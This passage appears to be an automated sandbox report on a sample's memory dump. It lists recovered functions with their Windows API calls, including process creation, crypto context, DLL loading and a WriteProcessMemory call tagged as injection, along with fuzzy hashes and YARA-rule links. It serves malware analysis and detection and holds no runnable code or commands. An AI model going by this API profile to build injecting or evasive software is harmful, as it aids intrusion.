Instruction ID: 705fab76b8e3a1149e85dd3296f38e197f0ded7ea29e4f49840abb091354476c
Opcode Fuzzy Hash: ce9f4258c4d780ba9c6c930d7122486d518426246334cca948af55334b26e46c
Instruction Fuzzy Hash: CC411731A18A485BE768AB28D498BBAF3D1FBC4700F44D66DF44AC3291DF3CC9058385

Uniqueness

Uniqueness Score: -1.00%

Function 0007BCA0, Relevance: 1.6, APIs: 1, Instructions: 137encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextW.ADVAPI32 ref: 0007BCF3

Part of subcall function 00083170: HeapCreate.KERNELBASE(?,?,?,?,?,?,?,?,?,000733D2), ref: 00083195
Part of subcall function 00083170: RtlReAllocateHeap.NTDLL(?,?,?,?,?,?,?,?,?,?,000733D2), ref: 00083201

Memory Dump Source

Source File: 00000006.00000002.2357052432.0000000000060000.00000040.00000001.sdmp, Offset: 00060000, based on PE: false

Similarity

API ID: Heap$AcquireAllocateContextCreateCrypt
String ID:
API String ID: 1188099166-0
Opcode ID: 569bf3c211fc18173eec448d55be5851424ee067f55f172300431f90036317dc
Instruction ID: 02549432e2b013f85cb27720c97555d0dd39d4945b695afb6763aebddbc1b9d6
Opcode Fuzzy Hash: 569bf3c211fc18173eec448d55be5851424ee067f55f172300431f90036317dc
Instruction Fuzzy Hash: 8A416A316187494FE3A8DF29D88876BB6E5FBC8315F44862DE58AC3250DB78D801CB46

Uniqueness

Uniqueness Score: -1.00%

Function 0006376C, Relevance: 1.6, APIs: 1, Instructions: 95comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32 ref: 00063838

Memory Dump Source

Source File: 00000006.00000002.2357052432.0000000000060000.00000040.00000001.sdmp, Offset: 00060000, based on PE: false

Similarity

API ID: CreateInstance
String ID:
API String ID: 542301482-0
Opcode ID: b33026b09b36ffdd2ae0d4d4edbb99d7a3d2be45f9495134cf2f48059a965113
Instruction ID: a1822fc534944d19f5806a2c81437e3d49f135f292e3fd60a187802b7db4128b
Opcode Fuzzy Hash: b33026b09b36ffdd2ae0d4d4edbb99d7a3d2be45f9495134cf2f48059a965113
Instruction Fuzzy Hash: 28213D716189444FE766DB2CD844BE6B7E6F798300F6042AAD44AC7292DE2DDA47C780

Uniqueness

Uniqueness Score: -1.00%

Function 00073070, Relevance: 1.6, APIs: 1, Instructions: 74libraryloaderCOMMON

Download Yara Rule

APIs

LdrLoadDll.NTDLL ref: 000730C0

Memory Dump Source

Source File: 00000006.00000002.2357052432.0000000000060000.00000040.00000001.sdmp, Offset: 00060000, based on PE: false

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 9a12aaee07f176c21a06291800fa4f01d4ea282631fe88c8937818c53237a136
Instruction ID: ce52be2ec6076cda3735d070ddf50a7c9f94a3914760d9714334c285745b977c
Opcode Fuzzy Hash: 9a12aaee07f176c21a06291800fa4f01d4ea282631fe88c8937818c53237a136
Instruction Fuzzy Hash: DA21E77071C7088F97A4DF1DC4C496EB7E2FB98311B14895AE00EC7211D678DA44D74A

Uniqueness

Uniqueness Score: -1.00%

Function 0006F6B0, Relevance: 1.6, APIs: 1, Instructions: 66nativeCOMMON

Download Yara Rule

APIs

NtQueryInformationProcess.NTDLL ref: 0006F6D7

Memory Dump Source

Source File: 00000006.00000002.2357052432.0000000000060000.00000040.00000001.sdmp, Offset: 00060000, based on PE: false

Similarity

API ID: InformationProcessQuery
String ID:
API String ID: 1778838933-0
Opcode ID: 465fade83bb7564d9b3e7a83738e0793b1459860f61c8ea1f7515af3b3eba84d
Instruction ID: eacb0fdd04201005f2d894150c2e917fab056b4c194da749b0a42d18281a6bef
Opcode Fuzzy Hash: 465fade83bb7564d9b3e7a83738e0793b1459860f61c8ea1f7515af3b3eba84d
Instruction Fuzzy Hash: B211823035CA594BE7A8E718E841BAAB3E7FBC4314F54452DE58EC3285DE78D9068782

Uniqueness

Uniqueness Score: -1.00%

Function 0007B470, Relevance: 1.5, APIs: 1, Instructions: 35nativeCOMMON

Download Yara Rule

APIs

NtDelayExecution.NTDLL(?,?,?,?,?,?,?,00020001,00001C1C,000831EA), ref: 0007B4A5

Memory Dump Source

Source File: 00000006.00000002.2357052432.0000000000060000.00000040.00000001.sdmp, Offset: 00060000, based on PE: false

Similarity

API ID: DelayExecution
String ID:
API String ID: 1249177460-0
Opcode ID: c137acf7960ebf0505a2bbbee54322d166f84f9b5cfb07d04b52c3c6eb24f9a4
Instruction ID: 2e27556e5ba9c8b146b10b56c43435110c38ffde967c87eee5df86ddeeb5be36
Opcode Fuzzy Hash: c137acf7960ebf0505a2bbbee54322d166f84f9b5cfb07d04b52c3c6eb24f9a4
Instruction Fuzzy Hash: EBE02631A0891C0A82A8523C2C0926B72D0E7C9334B11832BE40DE32E4E72C9D8343C5

Uniqueness

Uniqueness Score: -1.00%

Function 0006E0F0, Relevance: .2, Instructions: 173COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2357052432.0000000000060000.00000040.00000001.sdmp, Offset: 00060000, based on PE: false

Similarity

API ID: AcquireContextCrypt
String ID:
API String ID: 3951991833-0
Opcode ID: 88e6ad219462793ae1a34b03aea7dbecbda289499d6c108855e8783ff37cce7c
Instruction ID: 1afd0fcf1ec772a91628c35082769328c5804659b0f81b29fd52ccb67f3bc7ef
Opcode Fuzzy Hash: 88e6ad219462793ae1a34b03aea7dbecbda289499d6c108855e8783ff37cce7c
Instruction Fuzzy Hash: 6C51907561CB488FE794DB19D894BABB7E6FBC8304F10861DE54AC3290CB79D905CB82

Uniqueness

Uniqueness Score: -1.00%

Function 00069A20, Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 143COMMON

Download Yara Rule

APIs

GetVolumeInformationW.KERNELBASE ref: 00069AC5

Strings

:, xrefs: 00069A7B
\, xrefs: 00069A82
C, xrefs: 00069A6B

Memory Dump Source

Source File: 00000006.00000002.2357052432.0000000000060000.00000040.00000001.sdmp, Offset: 00060000, based on PE: false

Similarity

API ID: InformationVolume
String ID: :$C$\
API String ID: 2039140958-3809124531
Opcode ID: 600a9e228349f22d9a72f28494bb4e947516bc59bf74bd154605ae53bd84de1c
Instruction ID: d865eb24f06738668391d2685f79e9a5fbcb19a00297d7ae1373744d36335c52
Opcode Fuzzy Hash: 600a9e228349f22d9a72f28494bb4e947516bc59bf74bd154605ae53bd84de1c
Instruction Fuzzy Hash: 8D41723061CF944AD749A76884157AFB6E1EFC9744F004A1DF09AC7382CF698A06C79B

Uniqueness

Uniqueness Score: -1.00%

Function 00084490, Relevance: 6.1, APIs: 4, Instructions: 101fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE ref: 000844CE
SetFilePointer.KERNELBASE ref: 000844F1
SetFilePointer.KERNELBASE ref: 00084509

Part of subcall function 00083170: HeapCreate.KERNELBASE(?,?,?,?,?,?,?,?,?,000733D2), ref: 00083195
Part of subcall function 00083170: RtlReAllocateHeap.NTDLL(?,?,?,?,?,?,?,?,?,?,000733D2), ref: 00083201

ReadFile.KERNELBASE ref: 00084541

Memory Dump Source

Source File: 00000006.00000002.2357052432.0000000000060000.00000040.00000001.sdmp, Offset: 00060000, based on PE: false

Similarity

API ID: File$CreateHeapPointer$AllocateRead
String ID:
API String ID: 18565295-0
Opcode ID: d8df43b24f87e1caa92a6c2aba321103122c1065ea43f46530c6e91441063fc2
Instruction ID: 799e74634853b34bbf7bca1597a6e419588fbea694880bf8965331d3622f7d10
Opcode Fuzzy Hash: d8df43b24f87e1caa92a6c2aba321103122c1065ea43f46530c6e91441063fc2
Instruction Fuzzy Hash: 9E21B230718A194FE794BB38A85933EB6D5F7C8715F50863DA49BC2292DF7888064781

Uniqueness

Uniqueness Score: -1.00%

Function 00079640, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 99processCOMMON

Download Yara Rule

APIs

Part of subcall function 00083170: HeapCreate.KERNELBASE(?,?,?,?,?,?,?,?,?,000733D2), ref: 00083195
Part of subcall function 00083170: RtlReAllocateHeap.NTDLL(?,?,?,?,?,?,?,?,?,?,000733D2), ref: 00083201

CreateProcessW.KERNEL32 ref: 0007970E

Strings

h, xrefs: 0007966A

Memory Dump Source

Source File: 00000006.00000002.2357052432.0000000000060000.00000040.00000001.sdmp, Offset: 00060000, based on PE: false

Similarity

API ID: CreateHeap$AllocateProcess
String ID: h
API String ID: 4040290863-2439710439
Opcode ID: bf66e927ff842eb74eacf7c3596f1834e4b44a3b830d770f503fe2cd06d4d19b
Instruction ID: ba058481349051087b271634cb446950e2ae1ade5669425f2ba32bb5e7ce3099
Opcode Fuzzy Hash: bf66e927ff842eb74eacf7c3596f1834e4b44a3b830d770f503fe2cd06d4d19b
Instruction Fuzzy Hash: 2731417061CA888FE7A4EB28D459B9FB7E5FBD8304F00891DE08ED3251DF7994458B86

Uniqueness

Uniqueness Score: -1.00%

Function 00069EC0, Relevance: 3.3, APIs: 2, Instructions: 261threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNELBASE ref: 0006A0ED
SleepEx.KERNEL32 ref: 0006A0FC

Memory Dump Source

Source File: 00000006.00000002.2357052432.0000000000060000.00000040.00000001.sdmp, Offset: 00060000, based on PE: false

Similarity

API ID: CreateSleepThread
String ID:
API String ID: 4202482776-0
Opcode ID: 48dd37731e17bd84d3cdedf77f1710448cc03c9f05ee23d45b459020bec25eb1
Instruction ID: 2dbc30fb022149b28acc0961f02b445f900ebc2c7e540926061fa6284361a309
Opcode Fuzzy Hash: 48dd37731e17bd84d3cdedf77f1710448cc03c9f05ee23d45b459020bec25eb1
Instruction Fuzzy Hash: CF81EA7064CB488FDBA4EF18D485B9AB7E1FB99310F10491EE08DD3221DA34E9858B87

Uniqueness

Uniqueness Score: -1.00%

Function 0007E8F0, Relevance: 3.2, APIs: 2, Instructions: 186COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNELBASE ref: 0007E90A
SleepEx.KERNEL32 ref: 0007E933

Part of subcall function 00062F50: CreateFileW.KERNELBASE ref: 00062F8F
Part of subcall function 00062F50: WriteFile.KERNELBASE ref: 00062FB5

Memory Dump Source

Source File: 00000006.00000002.2357052432.0000000000060000.00000040.00000001.sdmp, Offset: 00060000, based on PE: false

Similarity

API ID: CreateFile$DirectorySleepWrite
String ID:
API String ID: 1295570754-0
Opcode ID: ccb676c9a4d7deabc0b0e3c7883d3e956abf5cab8ada566d0b1e590b3334b06f
Instruction ID: 6227cd6b2a7e92c12457e72c86e86da7ecbe1806d4f47f635f7264861320c053
Opcode Fuzzy Hash: ccb676c9a4d7deabc0b0e3c7883d3e956abf5cab8ada566d0b1e590b3334b06f
Instruction Fuzzy Hash: 2F41F431A0AA498FE79DEB29EC5476A3397F78C304F208169D40EC32A1DA7DED41C755

Uniqueness

Uniqueness Score: -1.00%

Function 00081760, Relevance: 3.1, APIs: 2, Instructions: 109networkCOMMON

Download Yara Rule

APIs

gethostname.WS2_32 ref: 0008179D
getaddrinfo.WS2_32 ref: 000817BA

Memory Dump Source

Source File: 00000006.00000002.2357052432.0000000000060000.00000040.00000001.sdmp, Offset: 00060000, based on PE: false

Similarity

API ID: getaddrinfogethostname
String ID:
API String ID: 216350129-0
Opcode ID: bffb85e0f71f3a326a10e4f230a05dbba7294f198ee8ecc52da7b7d8d1b5ea4e
Instruction ID: 9b461dacf6d9839ba57f3e837f43a6cb824040abf39413e4443b1160704d5c12
Opcode Fuzzy Hash: bffb85e0f71f3a326a10e4f230a05dbba7294f198ee8ecc52da7b7d8d1b5ea4e
Instruction Fuzzy Hash: 82210735715605CBE765A72988897E673DBFF95320F44022DD89AC3295DF24CC47C742

Uniqueness

Uniqueness Score: -1.00%

Function 00083170, Relevance: 3.1, APIs: 2, Instructions: 82memoryCOMMON

Download Yara Rule

APIs

HeapCreate.KERNELBASE(?,?,?,?,?,?,?,?,?,000733D2), ref: 00083195
RtlReAllocateHeap.NTDLL(?,?,?,?,?,?,?,?,?,?,000733D2), ref: 00083201

Memory Dump Source

Source File: 00000006.00000002.2357052432.0000000000060000.00000040.00000001.sdmp, Offset: 00060000, based on PE: false

Similarity

API ID: Heap$AllocateCreate
String ID:
API String ID: 2875408731-0
Opcode ID: 7035e10fcdebe70af641b75389d4ff194002f97a7ad8223b5641828a3d17561e
Instruction ID: a10606aab24de18d07134f10df997d54198fb6f05f64c6698f9de85941ff2a5a
Opcode Fuzzy Hash: 7035e10fcdebe70af641b75389d4ff194002f97a7ad8223b5641828a3d17561e
Instruction Fuzzy Hash: EA11E531359D1E0BEFA9A72DAC1D67A36D5F7D8B21B00426BE84AC3354DF29DD018380

Uniqueness

Uniqueness Score: -1.00%

Function 00069760, Relevance: 3.1, APIs: 2, Instructions: 81COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE ref: 0006980B
CreateDirectoryW.KERNELBASE ref: 0006983C

Memory Dump Source

Source File: 00000006.00000002.2357052432.0000000000060000.00000040.00000001.sdmp, Offset: 00060000, based on PE: false

Similarity

API ID: AttributesCreateDirectoryFile
String ID:
API String ID: 3401506121-0
Opcode ID: f0b05a1ade916f3b03014ec073e93a4ac98af5e4c7994f184654872425c00eae
Instruction ID: 8e81421b137cdbb3ca28d625f96476d298b505415db55c04afc64aaf7456aee1
Opcode Fuzzy Hash: f0b05a1ade916f3b03014ec073e93a4ac98af5e4c7994f184654872425c00eae
Instruction Fuzzy Hash: 6021A5306109189FEB95AB28D8157EE72D3FB88764F41826AE41AC36D1CF3C4A4A97C5

Uniqueness

Uniqueness Score: -1.00%

Function 0007D010, Relevance: 3.1, APIs: 2, Instructions: 56fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE ref: 0007D054
WriteFile.KERNELBASE ref: 0007D07A

Memory Dump Source

Source File: 00000006.00000002.2357052432.0000000000060000.00000040.00000001.sdmp, Offset: 00060000, based on PE: false

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: ae104fc70d09fc98fed0964306c667f06d5fc406f8c86d711a03c1025b92980c
Instruction ID: a51f412f15b820ca508bf769daeec9695bd2c5622e3a16b48497e0ed4b0cb714
Opcode Fuzzy Hash: ae104fc70d09fc98fed0964306c667f06d5fc406f8c86d711a03c1025b92980c
Instruction Fuzzy Hash: 3201D621718B054BD7549B28A848B6BB6D5FFCC308F00467DB84ED2294DA38CD0683C9

Uniqueness

Uniqueness Score: -1.00%

Function 00062F50, Relevance: 3.1, APIs: 2, Instructions: 52fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE ref: 00062F8F
WriteFile.KERNELBASE ref: 00062FB5

Memory Dump Source

Source File: 00000006.00000002.2357052432.0000000000060000.00000040.00000001.sdmp, Offset: 00060000, based on PE: false

Similarity

API ID: File$CreateWrite
String ID:
API String ID: 2263783195-0
Opcode ID: d353eddba063e1570ab28dcc5bd17dd0f5e22a279c029a25aeb1cc534cb54df4
Instruction ID: 9ae63e258e4f79ee8f51fbaf3c0b5bb7071e5f19d59cd8e334d500c489e5f1b8
Opcode Fuzzy Hash: d353eddba063e1570ab28dcc5bd17dd0f5e22a279c029a25aeb1cc534cb54df4
Instruction Fuzzy Hash: 13018B70309A084FD3949F6D984C75B76E4F799315F11463DF89DC3290DB7989468741

Uniqueness

Uniqueness Score: -1.00%

Function 00063890, Relevance: 2.0, APIs: 1, Instructions: 489COMMON

Download Yara Rule

APIs

SleepEx.KERNEL32 ref: 000639B6

Part of subcall function 00069200: LookupAccountSidW.ADVAPI32 ref: 0006934E

Memory Dump Source

Source File: 00000006.00000002.2357052432.0000000000060000.00000040.00000001.sdmp, Offset: 00060000, based on PE: false

Similarity

API ID: AccountLookupSleep
String ID:
API String ID: 3864446389-0
Opcode ID: 9df6cfdf971566ed5931196fa5281e0d6dea8646aa15a0143b484ffcdf0b4fe1
Instruction ID: d7a7fa65b745b3026d5917fc184a9111a6b79effc3639490dd83ea33203f300a
Opcode Fuzzy Hash: 9df6cfdf971566ed5931196fa5281e0d6dea8646aa15a0143b484ffcdf0b4fe1
Instruction Fuzzy Hash: 6AF11C7061CB488FD7A9EB18C455BEAB7E2FBD8300F50492EA48EC3251DF749545CB82

Uniqueness

Uniqueness Score: -1.00%

Function 00081410, Relevance: 1.8, APIs: 1, Instructions: 321COMMON

Download Yara Rule

APIs

Part of subcall function 00062F50: CreateFileW.KERNELBASE ref: 00062F8F
Part of subcall function 00062F50: WriteFile.KERNELBASE ref: 00062FB5

GetFileAttributesW.KERNELBASE ref: 000816FD

Memory Dump Source

Source File: 00000006.00000002.2357052432.0000000000060000.00000040.00000001.sdmp, Offset: 00060000, based on PE: false

Similarity

API ID: File$AttributesCreateWrite
String ID:
API String ID: 3989674298-0
Opcode ID: aaf16850b219c1a4cfc1879b9eb6f315a40e99dd07245fbb385a2811e06d2019
Instruction ID: 55ad6e6ed7fe133cbeb95bca22fcb6bd0866b6b27c4e9ce4b3e542a96bd8b511
Opcode Fuzzy Hash: aaf16850b219c1a4cfc1879b9eb6f315a40e99dd07245fbb385a2811e06d2019
Instruction Fuzzy Hash: D291B630618A048FDB98FB28D895BEA73E6FF98305F54415CE48AC7292DB35D942C742

Uniqueness

Uniqueness Score: -1.00%

Function 000658D0, Relevance: 1.7, APIs: 1, Instructions: 225COMMON

Download Yara Rule

APIs

SHGetFolderPathW.SHELL32 ref: 0007748A

Memory Dump Source

Source File: 00000006.00000002.2357052432.0000000000060000.00000040.00000001.sdmp, Offset: 00060000, based on PE: false

Similarity

API ID: FolderPath
String ID:
API String ID: 1514166925-0
Opcode ID: 8c66c3707d9d0d354462c2baf704fa38aec32c32e1a43637c64c8c0eb6fedf95
Instruction ID: 36a5dcaffcbef31031d1a42fb2054a03fb1477cb53958efad4c704fa1d3181d0
Opcode Fuzzy Hash: 8c66c3707d9d0d354462c2baf704fa38aec32c32e1a43637c64c8c0eb6fedf95
Instruction Fuzzy Hash: F8519030B18A084BDB98E77984A17BEA6D2FBD8350F54853DA44EC3292EF7CC9059346

Uniqueness

Uniqueness Score: -1.00%

Function 0007DC60, Relevance: 1.7, APIs: 1, Instructions: 215COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2357052432.0000000000060000.00000040.00000001.sdmp, Offset: 00060000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: efaccd69ce752cedc6bc2aaea6b73f20a742dd7db778349987d23b0fa03e9f2e
Instruction ID: 4f87321e886ca183081b4079bc2c4b38061548ba5d9dbe675ca1ce632b7a8e0c
Opcode Fuzzy Hash: efaccd69ce752cedc6bc2aaea6b73f20a742dd7db778349987d23b0fa03e9f2e
Instruction Fuzzy Hash: C1515971718B044BD719AB29D8946BBB7E3FFC5300F95862EE04AC3286DE799C068785

Uniqueness

Uniqueness Score: -1.00%

Function 0006F760, Relevance: 1.7, APIs: 1, Instructions: 183COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNELBASE ref: 0006F7BC

Memory Dump Source

Source File: 00000006.00000002.2357052432.0000000000060000.00000040.00000001.sdmp, Offset: 00060000, based on PE: false

Similarity

API ID: CreateDirectory
String ID:
API String ID: 4241100979-0
Opcode ID: 67261d0719eb8360954fd96d41407121bda0a381e5a6f3f82ed3f180f0623a9f
Instruction ID: f21ae6e9e87a9d68ef70fd62570a7e38a89a3a1ac8b43f8af982782fe63f4cf6
Opcode Fuzzy Hash: 67261d0719eb8360954fd96d41407121bda0a381e5a6f3f82ed3f180f0623a9f
Instruction Fuzzy Hash: 5D414C3260861E8FE72C5A3CBC062BA72D3EBC5320F15823DE847C7295EE799D478181

Uniqueness

Uniqueness Score: -1.00%

Function 00072990, Relevance: 1.6, APIs: 1, Instructions: 150synchronizationCOMMON

Download Yara Rule

APIs

CreateMutexW.KERNELBASE ref: 00072AF1

Memory Dump Source

Source File: 00000006.00000002.2357052432.0000000000060000.00000040.00000001.sdmp, Offset: 00060000, based on PE: false

Similarity

API ID: CreateMutex
String ID:
API String ID: 1964310414-0
Opcode ID: 73dabe955e54ad982c425d0fea60b9dd37b72fa0e9471505bcda160950df2851
Instruction ID: 40bf4e5d79c5833cd41fe110aba3c6b292b534086a1a279c2b9bcbbaf3de8cc8
Opcode Fuzzy Hash: 73dabe955e54ad982c425d0fea60b9dd37b72fa0e9471505bcda160950df2851
Instruction Fuzzy Hash: 51418330718B088FE795EB28D8587AFB7E2FBD8301F54452DE08AC3251DB39D9418786

Uniqueness

Uniqueness Score: -1.00%

Function 0006154C, Relevance: 1.6, APIs: 1, Instructions: 144threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNELBASE ref: 0006236C

Memory Dump Source

Source File: 00000006.00000002.2357052432.0000000000060000.00000040.00000001.sdmp, Offset: 00060000, based on PE: false

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: f56ba2a916cedd7033bdc971e791f4e0a12d4ee4d2d654579ecf02baaf351d06
Instruction ID: 9dcf24d97550d04c02cbab48e25f41d2c7c1aaa1b224be67311bb80b418773dd
Opcode Fuzzy Hash: f56ba2a916cedd7033bdc971e791f4e0a12d4ee4d2d654579ecf02baaf351d06
Instruction Fuzzy Hash: 0031093261CE184BE764AB2CA4453BEB3D3FBC4350F15462EE45EC3256DF79D9824286

Uniqueness

Uniqueness Score: -1.00%

Function 00082850, Relevance: 1.6, APIs: 1, Instructions: 138COMMON

Download Yara Rule

APIs

Part of subcall function 000646F0: FindFirstFileW.KERNELBASE ref: 00064751

SleepEx.KERNEL32 ref: 00082A0C

Memory Dump Source

Source File: 00000006.00000002.2357052432.0000000000060000.00000040.00000001.sdmp, Offset: 00060000, based on PE: false

Similarity

API ID: FileFindFirstSleep
String ID:
API String ID: 4158786080-0
Opcode ID: e076d8e6e6737ddac684c6b7be35a885ee85f428f273e67d72599e065879f6c1
Instruction ID: 12f7acf3e8ea0a66e4d0bd546ea4a42a975aef8d4efe567f031e3be72e761e30
Opcode Fuzzy Hash: e076d8e6e6737ddac684c6b7be35a885ee85f428f273e67d72599e065879f6c1
Instruction Fuzzy Hash: 8A41A530618A498FEB94FF28D895B6A73E1FB58300F104568E9C9C3266DF78DD41CB46

Uniqueness

Uniqueness Score: -1.00%

Function 0006DC60, Relevance: 1.6, APIs: 1, Instructions: 136COMMON

Download Yara Rule

APIs

SleepEx.KERNEL32 ref: 0006DDD6

Memory Dump Source

Source File: 00000006.00000002.2357052432.0000000000060000.00000040.00000001.sdmp, Offset: 00060000, based on PE: false

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: b38b8d8db997d213b66852e934cbdbc7d5d2544da2532ee4a13347160e0536c4
Instruction ID: 24ba7652fd1ca578d59386445b736faec961a400e5e16b9b234320f79ef3e8e9
Opcode Fuzzy Hash: b38b8d8db997d213b66852e934cbdbc7d5d2544da2532ee4a13347160e0536c4
Instruction Fuzzy Hash: 54414070718B098FE798EF28C45876AB7F2FB88305F00492EA55AC3690DF78D545CB41

Uniqueness

Uniqueness Score: -1.00%

Function 0007E000, Relevance: 1.6, APIs: 1, Instructions: 135COMMON

Download Yara Rule

APIs

GetNativeSystemInfo.KERNEL32 ref: 0007E037

Memory Dump Source

Source File: 00000006.00000002.2357052432.0000000000060000.00000040.00000001.sdmp, Offset: 00060000, based on PE: false

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: c798bd94297223809765071ac9d94e939ef4de3a1559efad5d9b9a1f8bc95932
Instruction ID: de2a25b57a6d0c5d956397ff4d81e818ef1ca671e2f57aa755abb8c45c3cbfe7
Opcode Fuzzy Hash: c798bd94297223809765071ac9d94e939ef4de3a1559efad5d9b9a1f8bc95932
Instruction Fuzzy Hash: A541B57591E6C88BE7759704C445BFF72E2FBE8300F90855AE08EC2284DA7C9985C787

Uniqueness

Uniqueness Score: -1.00%

Function 00070970, Relevance: 1.6, APIs: 1, Instructions: 119fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE ref: 000709DD

Part of subcall function 00083170: HeapCreate.KERNELBASE(?,?,?,?,?,?,?,?,?,000733D2), ref: 00083195
Part of subcall function 00083170: RtlReAllocateHeap.NTDLL(?,?,?,?,?,?,?,?,?,?,000733D2), ref: 00083201

Memory Dump Source

Source File: 00000006.00000002.2357052432.0000000000060000.00000040.00000001.sdmp, Offset: 00060000, based on PE: false

Similarity

API ID: CreateHeap$AllocateFile
String ID:
API String ID: 1845503316-0
Opcode ID: a86c0b6aa175eeefc472c43a275179b6eaa9f2b9b6f9b79a46e8dff3c418db1c
Instruction ID: f2241d14eafc680117b3cd3296bc160006fb60c15872592f5bc93f92fe09bf6e
Opcode Fuzzy Hash: a86c0b6aa175eeefc472c43a275179b6eaa9f2b9b6f9b79a46e8dff3c418db1c
Instruction Fuzzy Hash: 81312320714A084FE798AB2C989D37E75D6E7D8315F54873DA45EC32E1DE7888064746

Uniqueness

Uniqueness Score: -1.00%

Function 00064250, Relevance: 1.6, APIs: 1, Instructions: 118fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE ref: 0006429A

Part of subcall function 00083170: HeapCreate.KERNELBASE(?,?,?,?,?,?,?,?,?,000733D2), ref: 00083195
Part of subcall function 00083170: RtlReAllocateHeap.NTDLL(?,?,?,?,?,?,?,?,?,?,000733D2), ref: 00083201

Memory Dump Source

Source File: 00000006.00000002.2357052432.0000000000060000.00000040.00000001.sdmp, Offset: 00060000, based on PE: false

Similarity

API ID: CreateHeap$AllocateFile
String ID:
API String ID: 1845503316-0
Opcode ID: 0dac8abf9e915f7eb7980f8abc3d3d8fc141432f7c0adf930a877aae0ac08ea2
Instruction ID: 89c3171d92ad3b1d64f15f10169ac09f6e70c077a51df6ff3f822078d3ad6a91
Opcode Fuzzy Hash: 0dac8abf9e915f7eb7980f8abc3d3d8fc141432f7c0adf930a877aae0ac08ea2
Instruction Fuzzy Hash: 4F31D77161C7184FE3689F2D980A37BB6D5E789314F55422DF89AC3392DE79880246C2

Uniqueness

Uniqueness Score: -1.00%

Function 00080430, Relevance: 1.6, APIs: 1, Instructions: 83fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE ref: 0008046D

Memory Dump Source

Source File: 00000006.00000002.2357052432.0000000000060000.00000040.00000001.sdmp, Offset: 00060000, based on PE: false

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 2082dce4f57570cb706c5c7917417046c1db4d3fa35b74f66733fbcb6009a2e4
Instruction ID: b828fb044d8bd3968cce67547516ce4de0f2ca1d31ba077ea0d0bbe218035561
Opcode Fuzzy Hash: 2082dce4f57570cb706c5c7917417046c1db4d3fa35b74f66733fbcb6009a2e4
Instruction Fuzzy Hash: 8511247121CA084FD398AF68D448B6AB6E0FB94324F40132DF9CAC3291EF3088458381

Uniqueness

Uniqueness Score: -1.00%

Function 000637C0, Relevance: 1.6, APIs: 1, Instructions: 60comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32 ref: 00063838

Part of subcall function 00083170: HeapCreate.KERNELBASE(?,?,?,?,?,?,?,?,?,000733D2), ref: 00083195
Part of subcall function 00083170: RtlReAllocateHeap.NTDLL(?,?,?,?,?,?,?,?,?,?,000733D2), ref: 00083201

Memory Dump Source

Source File: 00000006.00000002.2357052432.0000000000060000.00000040.00000001.sdmp, Offset: 00060000, based on PE: false

Similarity

API ID: CreateHeap$AllocateInstance
String ID:
API String ID: 4043011612-0
Opcode ID: f3291fa15f07441afe9fa0bf9458e71ec912fbafffef5a45ff816863f88fafae
Instruction ID: 05a5477cb78f8b3910065ffbbc6889ab8005dfb3b4ed7a5f5eba697b3e956271
Opcode Fuzzy Hash: f3291fa15f07441afe9fa0bf9458e71ec912fbafffef5a45ff816863f88fafae
Instruction Fuzzy Hash: 6811AD71614A044BF3A4A72DE8067E672E7E7D4310F65423AA81AC32D5DE3CCA468281

Uniqueness

Uniqueness Score: -1.00%

Function 00084590, Relevance: 1.5, APIs: 1, Instructions: 34COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE ref: 000845A6

Memory Dump Source

Source File: 00000006.00000002.2357052432.0000000000060000.00000040.00000001.sdmp, Offset: 00060000, based on PE: false

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: c30bea0af90ae8324f8b5116ce9f75868a70c73ff1e15e43cd4c14bc3712e271
Instruction ID: 093da7a9250e2ee1cb55e001b27bd3036f0fbc662aa20c595edd2f2d43cb6d41
Opcode Fuzzy Hash: c30bea0af90ae8324f8b5116ce9f75868a70c73ff1e15e43cd4c14bc3712e271
Instruction Fuzzy Hash: C9E0DF23F23D190B6160A63E2C1A25E40C3EBC46A5BDB43A1E44DD7246ED3C8C5303C2

Uniqueness

Uniqueness Score: -1.00%

Function 0007AFC0, Relevance: 1.5, APIs: 1, Instructions: 24injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE ref: 0007AFDB

Memory Dump Source

Source File: 00000006.00000002.2357052432.0000000000060000.00000040.00000001.sdmp, Offset: 00060000, based on PE: false

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 8948ea0f4d0962d3175e541cac37b562c506fdca689bbe19ff3e8b2a09d39adc
Instruction ID: a127552babd6538719246b5941305c95d56177eed01965c5893cfd368a88b42d
Opcode Fuzzy Hash: 8948ea0f4d0962d3175e541cac37b562c506fdca689bbe19ff3e8b2a09d39adc
Instruction Fuzzy Hash: EDE0273041C7244BDF047734A0046D6BBD0FB49358F040E6FF848D6060D738C5C45785

Uniqueness

Uniqueness Score: -1.00%

Function 00110000, Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

SleepEx.KERNEL32 ref: 00110027

Memory Dump Source

Source File: 00000006.00000002.2357136499.0000000000110000.00000040.00000001.sdmp, Offset: 00110000, based on PE: false

Similarity

API ID: Sleep
